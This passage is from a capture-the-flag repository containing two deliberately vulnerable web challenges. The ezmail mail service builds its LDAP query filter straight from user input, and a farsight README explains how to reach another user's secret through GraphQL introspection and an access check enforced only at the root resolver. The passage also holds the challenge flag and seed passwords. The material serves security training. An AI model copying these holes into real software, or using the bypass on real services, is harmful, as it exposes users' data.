User(user_id=uuid.uuid4(), user_role=UserRole.ANONYMOUS)\n        ),\n        \"token_type\": \"bearer\",\n    }\n"
  },
  {
    "path": "web/ezmail/src/message.py",
    "content": "import logging\nimport uuid\nfrom typing import Dict, List, Optional\n\nimport aioredis\nimport ldap3\n\nimport config\nfrom models import IdentityProviders, IdType, MessageInfo, MessageStatus\n\nredis = aioredis.from_url(f\"redis://{config.REDIS_HOST}\")\nldap = ldap3.Server(config.LDAP_HOST)\n\n\ndef ldap_to_ezmail_id(user_cns: List[str]) -> Dict[str, IdType]:\n    ezmail_users = {}\n    with ldap3.Connection(\n        ldap, client_strategy=ldap3.SAFE_SYNC, auto_bind=True\n    ) as conn:\n        for user_cn in user_cns:\n            success, _res_meta, res, _query_meta = conn.search(\n                \"dc=ductf,dc=org\",\n                f\"(&(objectclass=*)(cn={user_cn}))\",\n                attributes=[\"uid\"],\n            )\n            if success:\n                ezmail_users[user_cn] = uuid.UUID(res[0][\"attributes\"][\"uid\"][0])\n    return ezmail_users\n\n\nasync def set_message_processing_status(message_id: IdType, status: MessageStatus):\n    await redis.set(f\"msg|{message_id.hex}|status\", str(status))\n\n\nasync def get_message_processing_status(message_id: IdType) -> Optional[MessageStatus]:\n    status = await redis.get(f\"msg|{message_id.hex}|status\")\n    return status and MessageStatus(status.decode())\n\n\nasync def send_message(message_spec: MessageInfo, identity_provider: IdentityProviders):\n    try:\n        recipients = ldap_to_ezmail_id(message_spec.recipients)\n        ezmail_recipients = list(recipients.values())\n        ldap_recipients = list(recipients.keys())\n\n        message_spec.recipients = ldap_recipients\n\n        async with redis.pipeline(transaction=True) as pipe:\n            tr = pipe.set(f\"msg|{message_spec.id.hex}\", message_spec.json())\n            tr.lpush(f\"usr|{message_spec.sender.hex}|send\", message_spec.id.hex)\n            for recipient in ezmail_recipients:\n                tr.lpush(f\"usr|{recipient.hex}|recv\", message_spec.id.hex)\n            await tr.execute()\n\n        await set_message_processing_status(message_spec.id, \"sent\")\n    except Exception as e:\n        logging.exception(\"An error occurred when sending a message\")\n        await set_message_processing_status(message_spec.id, \"failed\")\n\n\nasync def get_message(message_id: IdType):\n    msg = await redis.get(f\"msg|{message_id.hex}\")\n    return msg and MessageInfo.parse_raw(msg.decode())\n\n\nasync def get_user_sent(user_id: IdType):\n    msg_ids = await redis.lrange(f\"usr|{user_id.hex}|send\", 0, -1)\n    return [uuid.UUID(hex=msg_id.decode()) for msg_id in msg_ids]\n\n\nasync def get_user_recv(user_id: IdType):\n    msg_ids = await redis.lrange(f\"usr|{user_id.hex}|recv\", 0, -1)\n    return [uuid.UUID(hex=msg_id.decode()) for msg_id in msg_ids]\n"
  },
  {
    "path": "web/ezmail/src/models.py",
    "content": "import enum\nimport uuid\nfrom typing import List, Literal\n\nimport pydantic\n\nIdType = uuid.UUID\n\n\nclass IdentityProviders(str, enum.Enum):\n    LDAP = \"ldap\"\n\n\nclass MessageStatus(str, enum.Enum):\n    QUEUED = \"queued\"\n    SENT = \"sent\"\n    FAILED = \"failed\"\n\n\nclass UserRole(str, enum.Enum):\n    ANONYMOUS = \"anonymous\"\n    LDAP_USER = \"ldap\"\n\n\nclass MessageBase(pydantic.BaseModel):\n    recipients: List[str]\n    content: str\n\n\nclass MessageToSend(MessageBase):\n    identity_provider: IdentityProviders\n\n\nclass MessageInfo(MessageBase):\n    id: IdType\n    sender: uuid.UUID\n\n\nclass User(pydantic.BaseModel):\n    user_id: IdType\n    user_role: UserRole\n\n\nclass TokenResponse(pydantic.BaseModel):\n    access_token: str\n    token_type: Literal[\"bearer\"]\n"
  },
  {
    "path": "web/farsight/.dockerignore",
    "content": "node_modules/*\nscripts/*\nflag.txt\n*.db"
  },
  {
    "path": "web/farsight/Dockerfile",
    "content": "FROM node:16 as base\nFROM base as build\n\nWORKDIR /build\nCOPY ./package*.json ./\nCOPY tsconfig.json .\nCOPY src src\n\nRUN npm install\nRUN npx tsc --build\n\nFROM base as dist\n\nWORKDIR /srv\nCOPY --from=build /build/package.json /srv/\nCOPY --from=build /build/node_modules/ /srv/node_modules/\n\nCOPY ./src/assets/ /srv/app/assets/\n\nCOPY --from=build /build/build/ /srv/app/\nCOPY ./frontend /srv/frontend\n\nENTRYPOINT [ \"node\", \"app/app.js\" ]\n"
  },
  {
    "path": "web/farsight/README.md",
    "content": "# FarSight\n\n**Category**: Web\n\n**Difficulty**: Easy - Medium\n\n**Author**: todo#7331\n\n## Flavour\n\n_I've recently learned about graphql so I used it to build a site that lets you host markdown pages. We're still developing the application and have a few upcoming beta features!_\n\n**The scope of this challenge is limited to the challenge domain _only_. There are autogenerated links and images to domains external to ductf. These links and images are only present to add flavour to the challenge and are _NOT within scope_. Do not exploit any sites outside of the ductf domain.**\n\n## Description\n\nThis is largely a discovery related challenge with an access control bypass to get the flag. Player are first expected to\nuse graphql introspection to reveal the some beta queries, fields and mutations. These beta features then have a vulnerability\nwhich allows players to bypass access controls (which are only set on the root queries and not the nodes), in order to access all info.\n\n## Writeup\n\n_A solve script can be found in ./solve_\n\n1. The player notices that graphql is being used.\n2. The player either manually sends a introspection query to the graphql endpoint, or uses a tool such as insomnia to perform the discovery.\n3. The player noticies the presence of the `importPage` mutation and the `ownerSite` field on `Site`, both of which are marked as `beta`.\n4. The player notices the `please do not store secrets` message in the description of site `config`.\n5. It is therefore reasonable that we should snoop on other player's site descriptions.\n6. The player discovers that they can import anyone's page into their site. They import the first few pages (I think just one is enough)\n7. The player then bypasses auth checks, which are only enforced on the root query resolver, by using the `ownerSite` field on a imported site to access a site they do not own.\n8. The player finds the flag in the config of the site belonging to `admin`\n\n### Guessing\n\nSince this is a discovery challenge there are some bits that may be a bit \"guessy\".\n\n1. Players have to guess that auth is only enforced on the root resolver. I think this is fine, as its something users should test anyway.\n2. Players have to guess to look at the first few pages (i.e. those with low ids). This may be a bit more problematic, but looking at the first few pages seems natrual.\n\n## Running\n\n`docker-compose up --build`\n\nThis challenge can be shared between teams.\n\n-   Players should only have access to create pages, page refs and accounts.\n-   Teams could possibly create pages with explicit content and then have other teams import those pages.\n-   Teams could login as each other if they use weak passwords.\n"
  },
  {
    "path": "web/farsight/challenge.yml",
    "content": "version: \"0.1\"\nid: farsight\nname: Farsight\ncategory: web\ndescription: |\n  _I've recently learned about graphql so I used it to build a site that lets you host markdown pages._\n  _We're still developing the application and have a few upcoming beta features!_\n\n  **The scope of this challenge is limited to the challenge domain _only_.**\n  There are autogenerated links and images to domains external to ductf. These links and images are only present to add flavour to the challenge and are _NOT within scope_.\n  **Do not exploit any sites outside of the ductf domain.**\n\n  Author: todo#7331\n\nconnection_info: ${url}\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179}\n"
  },
  {
    "path": "web/farsight/data/1-schema.sql",
    "content": "BEGIN;\n\nDROP TABLE IF EXISTS page_ref;\nDROP TABLE IF EXISTS page;\nDROP TABLE IF EXISTS site;\nDROP TABLE IF EXISTS \"user\";\n\nCREATE TABLE \"user\" (\n    id SERIAL PRIMARY KEY,\n    username TEXT NOT NULL UNIQUE,\n    password TEXT NOT NULL\n);\n\nCREATE TABLE site (\n    id SERIAL PRIMARY KEY,\n    name   TEXT    NOT NULL,\n    public BOOLEAN NOT NULL,\n    config TEXT    NOT NULL,\n    owner  INTEGER NOT NULL REFERENCES \"user\"(id)\n);\n\nCREATE TABLE page (\n    id SERIAL PRIMARY KEY,\n    name    TEXT    NOT NULL,\n    content TEXT    NOT NULL,\n    site    INTEGER NOT NULL REFERENCES site(id)\n);\n\nCREATE TABLE page_ref (\n    site INTEGER NOT NULL REFERENCES site(id),\n    page INTEGER NOT NULL REFERENCES page(id)\n);\n\nCOMMIT;"
  },
  {
    "path": "web/farsight/data/2-data.sql",
    "content": "BEGIN;\n\nINSERT INTO \"user\"(id, username, password) VALUES\n(0,  'admin',         'HkQNptP8!4'),\n(1,  'colonhayley',   '6mF07lCl+Q'),\n(2,  'arojas',        'ZurB3Crs#C'),\n(3,  'jeremy16',      'U7xWXx#R+t'),\n(4,  'tblackburn',    ')NF39A9hD8'),\n(5,  'rebeccasmith',  'e_z7jY_xkP'),\n(6,  'michael77',     '@P5BP)nmH%'),\n(7,  'gilbertamy',    'A&21HdklYp'),\n(8,  'matthewhayes',  '*!yxDjH@4&'),\n(9,  'ronaldmoore',   '$NPHyztx4p'),\n(10, 'dawnreynolds',  '&4xSuruZ5U'),\n(11, 'andrearamirez', '#a7P!k3jRk'),\n(12, 'dalvarez',      'Y0^PIj^g$1'),\n(13, 'jill56',        'a0_X9hTx$r'),\n(14, 'kevinmills',    '&R8VJgmy%g'),\n(15, 'douglas85',     '+9aWq*u3#@');\nALTER SEQUENCE user_id_seq RESTART WITH 16;\n\nINSERT INTO site(id, name, public, owner, config) VALUES\n(0,  'admin''s Site',         FALSE, 0,  '{\"color\": \"red\", \"background\": \"#eeffcc\", \"flag\": \"DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179}\"}'),\n(1,  'colonhayley''s Site',   FALSE, 1,  '{\"color\": \"black\", \"background\": \"white\"}'),\n(2,  'arojas''s Site',        FALSE, 2,  '{\"color\": \"black\", \"background\": \"#ddd\"}'),\n(3,  'jeremy16''s Site',      FALSE, 3,  '{\"color\": \"red\", \"background\": \"#eeffcc\"}'),\n(4,  'tblackburn''s Site',    TRUE,  4,  '{\"color\": \"red\", \"background\": \"#ddd\"}'),\n(5,  'rebeccasmith''s Site',  FALSE, 5,  '{\"color\": \"black\", \"background\": \"#eeffcc\"}'),\n(6,  'michael77''s Site',     FALSE, 6,  '{\"color\": \"black\", \"background\": \"#eeffcc\"}'),\n(7,  'gilbertamy''s Site',    FALSE, 7,  '{\"color\": \"black\", \"background\": \"#ddd\"}'),\n(8,  'matthewhayes''s Site',  TRUE,  8,  '{\"color\": \"black\", \"background\": \"#eeffcc\"}'),\n(9,  'ronaldmoore''s Site',   FALSE, 9,  '{\"color\": \"green\", \"background\": \"#ddd\"}'),\n(10, 'dawnreynolds''s Site',  FALSE, 10, '{\"color\": \"green\", \"background\": \"#ddd\"}'),\n(11, 'andrearamirez''s Site', TRUE,  11, '{\"color\": \"green\", \"background\": \"white\"}'),\n(12, 'dalvarez''s Site',      FALSE, 12, '{\"color\": \"red\", \"background\": \"#ddd\"}'),\n(13, 'jill56''s Site',        FALSE, 13, '{\"color\": \"black\", \"background\": \"#eeffcc\"}'),\n(14, 'kevinmills''s Site',    FALSE, 14, '{\"color\": \"black\", \"background\": \"#eeffcc\"}'),\n(15, 'douglas85''s Site',     FALSE, 15, '{\"color\": \"black\", \"background\": \"#eeffcc\"}');\nALTER SEQUENCE site_id_seq RESTART WITH 16;\n\nINSERT INTO page(id, name, content, site) VALUES\n(0, 'Flags and Configurations','# Flags and configurations\\n\\nThere might be something interesting in the configuration for this site `;)`',0),\n(1, 'war',replace('Possible lead draw learn city. Tree care sign arm bar military.\\n\\n<!-- Spend bag into. -->\\n\\n[Now from her gun subject PM.](http://white.com/)\\n\\n# Cover including artist find hope appear should represent.\\n\\n\t\t\t+ Approach great top series public none.\\n\\n|Include air sort couple hold group but.|Again identify real to follow so.|Live teach movie I situation understand agree.|\\n|---------------------------------------|---------------------------------|----------------------------------------------|\\n|Believe step four western likely almost training.|Source where a front war receive civil single.|Policy drug these person.|\\n|Lot thousand question.|Difficult player forget.|Goal clear inside guy north.|\\n|North add us accept hope soon.|Affect station member although.|Of challenge check skin.|\\n|Industry nothing rather.|Two hair describe hundred candidate.|Probably whom it job likely different house.|\\n\\n\\n*However ok structure your those head against.*\\n1. Theory everybody particularly test hospital personal move.\\n1. Certain hotel should.\\n1. Item bit leave left college listen.\\n\\n*Truth ten seven both happy central group line.*\\nsome\\n5. Cultural whatever computer.\\n\\n1. Fast play fact issue radio especially.\\n1. Get car party close issue.\\n1. Less politics religious back international risk.\\n\\nDebate direction moment standard. Tonight perhaps explain soldier range sort.\\n\\n|Significant energy citizen physical why mouth.|Treatment worker season figure.|Get we memory who yet spend.|\\n|----------------------------------------------|-------------------------------|----------------------------|\\n|Challenge on plant wonder.|Blood single recently other owner message entire.|Collection be along break gun reveal five put.|\\n|Once effect main simply two no.|Sister meet though ago.|These military part decade.|\\n|Enough onto try commercial kid approach.|Upon beautiful open free medical lay.|Per environmental medical nearly hour enter discover.|\\n|City system story century attention attention.|Not improve begin lot sport father.|Speech catch ten statement carry next.|\\n\\n\\nAlmost identify record.\\n\\n***\\n\\nplay\\nResearch blood list girl sister their rate.\\n\\n\t\t- Dinner stuff find different many.\\n\\n**your**\\n','\\n',chr(10)),1),\n(2, 'unit begin fight institution school',replace('Discuss very score loss.\\n\\n<!-- Executive partner story budget great than. -->\\n\\nPrevent hear trouble it grow.\\n-----------------------------\\n\\n```improve\\nLook fact land general. Sea upon full director race.\\n```\\n\\nMessage woman with not peace put maybe.\\n---------------------------------------\\n\\n|Military ability line hour wear star.|Worker offer American behavior customer force.|Congress recognize agreement well.|\\n|-------------------------------------|----------------------------------------------|----------------------------------|\\n|Him above bring.|Paper tree bank letter summer minute perform indeed.|Computer doctor up high southern job high.|\\n|Past especially old.|Still quality political other begin war.|Evening realize per probably.|\\n|Debate wish floor inside matter nice.|Buy throw like lawyer fund indicate help.|Measure star tell law go simple improve.|\\n|Rich accept if share land involve education.|Cell kid growth main use chance story.|Could usually piece but.|\\n\\n\\n[Choice already thank source.](https://lopez.com/)\\n\\n1. Thought radio minute rich consumer type.\\n1. Old charge read management production up our allow.\\n1. Toward such new cultural analysis care kitchen.\\n_Difference range technology serious international position write those._\\n*Rate clear newspaper ground just keep production.*\\n**audience**\\n1. Detail box choose view.\\n1. Remain decide happy another image because include.\\n1. Them in decision above you carry poor.\\n---\\n\\n---\\n\\n[Herself Mr bad wide manage.](http://www.jensen-ward.com/)\\n\\nShould dream whose.\\n\\n\t\t\t\t+ Onto when happen.\\n\\n> Election order everything stuff detail himself medical.\\n\\n1. Direction opportunity very analysis firm once.\\n1. As year look floor role agency its.\\n1. Seven those budget involve.\\n\\n\t4. Evening his gas health sort couple station my.\\n\\n','\\n',chr(10)),1),\n(3, 'need claim many against television',replace('4. General yet party individual.\\n\\nNow minute technology only magazine. Subject development best student describe concern \\nprofessional.\\n\\nCut recognize keep citizen result thus. System democratic stock worker everybody professor \\nshow.\\n\\nProduce foreign the site.\\n\\n<!-- Along particularly factor boy Republican without. -->\\n\\n\t\t\t\t- Never ten become me story but order.\\n\\n> You company drop join recognize all structure.\\n\\n\t\t\t\t+ Away wish finish within president.\\n\\n1. Any remain support realize cause.\\n1. Argue home exactly different week treat mouth threat.\\n1. Interest college anything relationship.\\n![Air ball better consumer campaign join.](https://picsum.photos/321 \"Including month matter environmental issue recently until. Remember take ground eat. Sometimes small control work name.\")\\n\\n1. Reveal so suggest.\\n1. Include herself hold his.\\n1. Manage camera beat activity stay bank which.\\n\\n***\\n\\n1. Late every include generation how risk.\\n1. Only scientist teach seven.\\n1. Memory attack land.\\n_**Outside they eye out.**_\\n|Happen white maybe read card look.|Part fund feeling cause stand.|Give point herself official receive may.|\\n|----------------------------------|------------------------------|----------------------------------------|\\n|Successful country describe method meeting space military.|Sing media step live game item lay.|Appear role why learn attention cut billion.|\\n|Without wall stay describe time.|Community whole growth speech across yard admit parent.|Story financial state hotel.|\\n|Scene teach because it boy agent common.|Mother good decade TV culture continue condition probably.|Option imagine physical treat dinner able job page.|\\n|Maybe information forward trouble.|Country article will firm woman section magazine loss.|Especially position learn senior today mention.|\\n\\n\\n***Resource part instead city type short rather.***\\nSignificant stuff section lot rather beyond share energy. Play meeting movie \\navoid.\\n\\n\t5. Part wind well.\\n\\n|His within though finish star be.|Popular see different decide trip total.|Out human night.|\\n|---------------------------------|----------------------------------------|----------------|\\n|Image throughout western world area.|There certainly walk camera debate western store.|Light environmental deep range ten television model.|\\n|Then police choice cell.|Care yet well according star study form.|Beat debate late radio.|\\n|Movie base firm himself idea lose international.|Trade century hundred themselves.|Challenge audience choose himself north professional.|\\n|Environment few voice thank local option five.|Level generation since also himself with garden mention.|Off little happy short during.|\\n\\n\\n<!-- Million born American. -->\\n\\n','\\n',chr(10)),1),\n(4, 'always hand game',replace('**meeting**\\n[Ability possible door pressure sea thought.](http://www.castillo.biz/)\\n\\n```effect\\nLow trial religious your outside wish community kid. Foreign involve show ten century involve down herself.\\n```\\n\\n1. Effort drop onto until head.\\n1. Draw front plan focus century service nearly.\\n1. Relate others throw land daughter consider group.\\n\\n**security**\\n_**Must toward family event.**_\\n\t\t\t\t- Such firm again court culture story.\\n\\n<!-- Learn economy explain main sport summer sea. -->\\n\\n<!-- Approach trip throughout free civil entire. -->\\n\\n##### Just nature increase trouble heart watch bed.\\n\\nbenefit\\n[Wrong take old former run others believe.](http://www.kramer.com/)\\n\\n```truth\\nReport sign office until particularly when. Everyone city contain week carry. Election small certainly pattern daughter. Together professional wind consider.\\n```\\n\\nper\\n**adult**\\n*Mrs look call spring establish together.*\\n> System term social say about century debate officer.\\n\\nCamera machine American five detail company.\\n\\n<!-- Professional kind wait PM every religious. -->\\n\\n[Glass evening much why.](http://long.org/)\\n\\n','\\n',chr(10)),1),\n(5, 'nation',replace('<!-- Century energy safe crime social school enter. -->\\n\\n```so\\nMention general television save himself call. Notice prevent figure kitchen seven write decision. Hot because movement business pull.\\n```\\n\\n<!-- Allow do believe her. -->\\n\\n1. Thought nature moment despite.\\n1. Course teacher message page.\\n1. Officer police it house political energy song.\\n***Owner ahead generation shoulder day popular window key.***\\n\t\t\t+ Stay century law before everybody.\\n\\n[Hot scene view today father.](http://www.wood-howell.com/)\\n\\n\t\t\t* Important they tax machine.\\n\\nMilitary plan school certainly.\\n\\n\t- Focus raise away tough subject customer far.\\n\\n','\\n',chr(10)),1),\n(6, 'prepare scene house central',replace('> Picture choice could own glass.\\n\\n\t1. Chance of enter deep walk cause trouble movie.\\n\\n![Federal like be.](https://picsum.photos/272 \"Big early amount team. Beat start say either none heavy down business. Way sister civil market value during difficult religious.\\nSummer specific option concern. Evidence especially life sister.\")\\n\\n[Represent resource pretty write.](http://wallace.com/)\\n\\n*Tough fill happy last hit.*\\n7. Appear since experience perform interest particularly notice.\\n\\n3. Civil account blood his either.\\n\\n[Enter identify participant environmental them really debate.](https://www.johnson.com/)\\n\\n___\\n\\n\t\t+ Single camera political economic seven treatment.\\n\\n','\\n',chr(10)),1),\n(7, 'community study into job',replace('___\\n\\n***Black because song capital administration sound teach hit.***\\nPm benefit arm subject over feeling. Buy protect front why ability fund front.\\n\\n1. Drug thing number end commercial.\\n1. Hundred billion blue right fine boy sing.\\n1. Bill pattern scientist early.\\n\\nreturn\\nKnow close election stop.\\n\\nKey story agree her.\\n\\n1. Beyond bar shoulder decade.\\n1. Director population measure student cost policy.\\n1. Open wife owner.\\n\\n***\\n\\n> Message list table scene thing responsibility.\\n\\n> General simple cost develop left.\\n\\nquestion\\n\t10. Head perform walk.\\n\\nWord learn military. Cup home record forward.\\n\\n**cell**\\n![Man throughout society.](https://picsum.photos/213 \"Activity note attention yeah process rest. If everything bad age local season school. Culture far share.\")\\n\\nReturn few natural fight stand one significant get.\\n---------------------------------------------------\\n\\n_Financial race wrong discuss agency fund._\\n1. Theory simply concern page director writer act.\\n1. Would truth join issue face key when.\\n1. City citizen to.\\nList run safe figure.\\n---------------------\\n\\n','\\n',chr(10)),1),\n(8, 'star forward leave art practice',replace('1. Us lawyer finally until help.\\n1. Interest amount understand hard.\\n1. Final ability person choose order.\\n\\nPower one after score career big remember.\\n------------------------------------------\\n\\n```case\\nStar various item boy response. Would road collection big talk role instead.\\n```\\n\\n\t+ Phone when room network.\\n\\n```simple\\nTo more food recognize national training. Not before painting sure whom.\\n```\\n\\n***\\n\\n1. Wall measure again ability election.\\n1. Present carry break majority low.\\n1. Every end catch American.\\n#### Spend food world believe soldier certain.\\n\\n**customer**\\n_Pay real good human._\\n![Simple wrong newspaper allow forward.](https://picsum.photos/457 \"Whom inside establish. Turn another wonder reveal. Possible account question dinner write usually.\\nHard week model box market. Particular available expect really amount accept sometimes.\")\\n\\n|Half sign admit hair look too.|Top his outside project us pass management serious.|Child investment yourself still.|\\n|------------------------------|---------------------------------------------------|--------------------------------|\\n|Education red citizen notice feeling.|Better child computer either.|Fly rock make build painting either.|\\n|Heart message matter position water.|Instead room seven reveal whole.|New weight everything specific ahead quickly.|\\n|Way glass line knowledge season region.|Official south senior parent decision involve despite.|Small law campaign value.|\\n|Suffer team word major western education.|Remember rich yeah simple guess member.|Spend practice organization fill can cause.|\\n\\n\\n![Value create agree likely.](https://picsum.photos/461 \"Anything pick none none ball ground candidate. Tree amount billion beyond quality fill final. Half side price little identify degree individual environment.\")\\n\\nPainting role company produce clear various production your.\\n\\n|Her serve finally task.|Country power police.|Summer city when bag.|\\n|-----------------------|---------------------|---------------------|\\n|Time to black her become less production.|Around both place strong.|Throughout example office between table tonight suddenly idea.|\\n|Most reflect shake phone.|End time trouble stay beat PM.|Put lay too strong forward interesting.|\\n|Learn argue glass matter upon.|Call share its guess.|Building care door natural produce.|\\n|Operation point loss mean production establish.|Adult range true even matter.|Find community any morning.|\\n\\n\\n_No none say heart information part full._\\n_Certain return suddenly wish loss cause base._\\n> Share body fly find.\\n\\n## She push serve rule thus.\\n\\n_**People worker time decide rest others development.**_\\n','\\n',chr(10)),1),\n(9, 'up add subject',replace('Sell idea school still up radio try.\\n\\n_**Local week color wait.**_\\n|Thank establish subject clearly.|Product building view its.|Break voice middle reflect.|\\n|--------------------------------|--------------------------|---------------------------|\\n|Smile reveal third option.|None position hand benefit.|By of mission parent shake now owner.|\\n|Cell style believe tough.|Concern reach every put.|Knowledge report national senior.|\\n|Activity country itself eat former into.|Foreign loss manage each.|General college bed everybody.|\\n|According speech personal task same yourself front.|Suddenly really social standard even exist identify.|Speak lay born.|\\n\\n\\n1. Form parent majority know participant.\\n1. Increase ago surface weight.\\n1. Back ten mention laugh.\\n1. Traditional start fund reality.\\n1. Growth opportunity spend behavior both long toward.\\n1. Agree tax form great education.\\n\t6. Find knowledge treatment.\\n\\n> Address star role yard son speech Democrat.\\n\\nGive song computer respond current wife budget.\\n-----------------------------------------------\\n\\n---\\n\\n> Few eight your still.\\n\\ntreatment\\n##### Agree weight statement statement unit in.\\n\\n_Economic attack food laugh newspaper part better._\\n1. She open answer where.\\n1. Degree article available possible order.\\n1. Manage probably minute offer.\\n![Change suffer space a.](https://picsum.photos/357 \"Pretty thus society oil activity include. Forget evidence short star. Nor goal rich study others. Across do issue let spend compare.\")\\n\\n\t\t\t\t- Type speech other question indeed.\\n\\n1. Wind answer stock full road nothing defense.\\n1. Budget serious form fight century.\\n1. Result every war something book notice society.\\n*Society size improve hit.*\\nThis read guy animal pattern direction. Human difference rock music check close agreement. \\nCapital white yet people. National eight she hand.\\n\\n\t7. Middle resource project.\\n\\n***\\n\\n*Technology similar seem operation cover program.*\\n_**Man story around enter blue.**_\\n|True discussion without current rate.|Movement edge collection which.|Agree move analysis its body source.|\\n|-------------------------------------|-------------------------------|------------------------------------|\\n|Memory say together bit wish.|Good challenge business rule sometimes serve community.|East trouble two oil drive.|\\n|Song group environmental foreign threat billion worry.|Stage goal can value leave should five.|Find cell animal ready at order attention both.|\\n|Discuss personal interesting phone on far.|Travel not identify score model dinner simply.|President board bring painting.|\\n|Group member it chance our.|Will consider probably against.|Bill fire through bill.|\\n\\n\\nSave local past two. Expert thing bed among understand else represent. Yard tough employee situation red. \\n\\n**attorney**\\n<!-- Sometimes although best various exactly several effect. -->\\n\\n_**Gas fly drug.**_\\n![With travel responsibility cut hour pick.](https://picsum.photos/389 \"Hundred owner nation this fire. Century strong anything trial factor culture. Drug north shake property fish plan.\")\\n\\n[Candidate defense discussion cell among.](http://santos-foster.org/)\\n\\n![Personal which reflect decision particular network pull.](https://picsum.photos/476 \"Serious leader note understand enough production scene. Of wind white message laugh billion. Staff follow baby job game according board whole. Strategy black cultural pull above us.\")\\n\\n*Tax method six enough war.*\\n_Land live former serve office owner over family._\\n*Child lead sport everything.*\\n___\\n\\nReport necessary lawyer else behind.\\n------------------------------------\\n\\nAppear economy whom forward arm prove community.\\n\\n***\\n\\n![Third and mean five establish.](https://picsum.photos/278 \"Floor world give after large performance grow past. Make knowledge during whom box. Herself society position. Structure foot question learn economic recent let receive.\")\\n\\n<!-- No air run win. -->\\n\\n```artist\\nOccur music item land commercial. Well far summer game ever hospital.\\n```\\n\\n\t3. Career wind form nor.\\n\\n**analysis**\\n<!-- Various watch choice cause natural imagine affect. -->\\n\\n\t\t\t- General nor administration open act.\\n\\n***Garden worry put he ask could.***\\n**entire**\\n---\\n\\n![Defense modern outside voice.](https://picsum.photos/448 \"Five old personal benefit. Group life land house. Best change talk conference language ball.\")\\n\\n<!-- Director pass machine want outside work upon article. -->\\n\\n','\\n',chr(10)),2),\n(10, 'cold store',replace('[Performance city test direction call adult toward.](https://romero-robinson.org/)\\n\\n_**Receive even health television perhaps where dinner.**_\\n[System participant card effect water.](http://www.cunningham-stanley.info/)\\n\\n_Partner son air out price interest finally._\\n___\\n\\nWhatever employee remember out some.\\n\\n*Space water realize market walk also traditional.*\\n1. Dark factor tell billion establish character.\\n1. Film clearly decide officer sometimes.\\n1. Bit your education expert.\\n\\n\t6. Everything war he including.\\n\\n9. Night personal sure whether visit speak ahead rock.\\n\\n','\\n',chr(10)),2),\n(11, 'some three onto director',replace('1. Wear base worry economic shoulder gas.\\n1. American call statement specific.\\n1. Special might wish street space human.\\nPay cover follow never. American tonight try PM.\\n\\n```while\\nNow population in full billion rise. Event under same commercial.\\n```\\n\\n![Itself tax activity mission industry skin.](https://picsum.photos/383 \"Speech pattern surface play. Young meeting material deep anything town. Enter political site beyond.\\nPerform whose better themselves. Smile assume hot chance foot. Draw always now life.\")\\n\\n\t1. Tough radio not account land why thought how.\\n\\n\t- Fire growth alone until sell occur person social.\\n\\n###### Apply western feeling.\\n\\n1. Too high inside.\\n1. Son and give.\\n1. Per second add picture.\\n<!-- Strong senior alone option. -->\\n\\nStill beyond Congress television never discuss.\\n-----------------------------------------------\\n\\nAnything morning surface the candidate. At direction share budget its pull inside. \\nSpeech near need recently hospital red score speak.\\n\\n[Theory hit look.](https://barton-booth.com/)\\n\\n_Team maybe future stay rich._\\n1. Its factor herself sea worker store successful.\\n1. Federal big impact move firm.\\n1. Soldier term each mission hair tell.\\nKey benefit coach building model entire across.\\n-----------------------------------------------\\n\\n> Page skill indeed.\\n\\n![Time sound here environment list weight.](https://picsum.photos/467 \"Trade along which. Door tonight rise interesting measure value two. Point especially per east actually. Kid feeling moment.\")\\n\\nTeam middle model pick.\\n-----------------------\\n\\n1. Type focus discuss our five purpose everything.\\n1. Thought whatever over structure.\\n1. Blue since long economic.\\n\\n1. Require computer civil.\\n1. Feel wear official area agency.\\n1. Speech lawyer west particularly everything former.\\n\\n','\\n',chr(10)),2),\n(12, 'at kid',replace('Would clearly increase much.\\n----------------------------\\n\\n_Government medical science mind through as prevent product._\\n***\\n\\nLeast available between lay physical high. Impact no almost international. Center \\nwind note national finish.\\n\\n___\\n\\nsuch\\n[Country program prove very street know rich medical.](http://www.gonzalez.com/)\\n\\n**hit**\\n1. Himself already person strategy large.\\n1. Among job reality.\\n1. Realize put happen.\\n\\n*Shoulder matter not rich foreign.*\\n','\\n',chr(10)),2),\n(13, 'increase',replace('```each\\nWriter mean series nothing nothing sit. Day claim contain discuss bad.\\n```\\n\\n![However picture agree pass report through.](https://picsum.photos/475 \"Daughter main both purpose ready become leader.\\nOk some group leave course eye between able. Itself customer daughter start quality if list claim.\\nLawyer teacher personal receive well condition not.\")\\n\\n**road**\\n**meet**\\n**view**\\n**herself**\\n___\\n\\n**attack**\\n\t6. Possible decide career professor experience.\\n\\nRole their once should.\\n\\n**rock**\\n\t* Wear southern lot consider stay throughout itself.\\n\\n[Join reduce allow eat side.](http://www.harrison-clark.com/)\\n\\nListen another affect wear.\\n\\n```drive\\nThroughout describe political traditional. Article last forward. Article probably answer argue.\\n```\\n\\nShould enough act end value new.\\n\\nRise pick suggest woman suggest question. Six night whether model citizen government \\nbig increase.\\n\\n#### Meet morning book whatever building whole.\\n\\n_**Wait all evening process of run.**_\\n1. Sell area almost do still.\\n1. Piece spring practice record.\\n1. Eight arm seven interest enter.\\n','\\n',chr(10)),2),\n(14, 'over role score throw name',replace('![Tv environment hand artist fact year.](https://picsum.photos/367 \"Test according majority determine away. Move authority compare peace style become. Seven her personal Democrat or cut level.\")\\n\\nDream surface health heart hold nice.\\n\\n1. Report reason country debate son.\\n1. Consumer any space what practice.\\n1. Skill nature another check.\\n\\n1. Indeed feel should whose into color later.\\n1. Production cause music picture.\\n1. Business us region receive for data.\\nGuy answer recognize their window.\\n----------------------------------\\n\\n1. Admit live down daughter trip.\\n1. Cup he father evidence question fund arrive clearly.\\n1. Run its near really.\\n_**Little Mr population add age letter religious.**_\\n[Around board her important sure offer trip.](https://www.johnson.com/)\\n\\n**could**\\n![Course measure and meeting thing home stuff.](https://picsum.photos/401 \"Past name plan set offer present. Language they environment. Shake wife all upon say.\")\\n\\nSpace majority bit instead smile happen.\\n----------------------------------------\\n\\n![Stand service public according understand happen.](https://picsum.photos/266 \"Actually team industry only world various. Throw receive project five admit play avoid few.\\nCivil office similar its foot. Drive minute according capital.\")\\n\\n***\\n\\n> Any manager political keep attack behavior security movement.\\n\\n#### Perhaps such those position wrong.\\n\\n1. Wind include allow must point great tonight.\\n1. Like mean international range arrive figure son crime.\\n1. Then rate measure brother approach five anything.\\nMeet adult prepare son.\\n-----------------------\\n\\n|Lot party mother purpose family.|Understand cut make drug 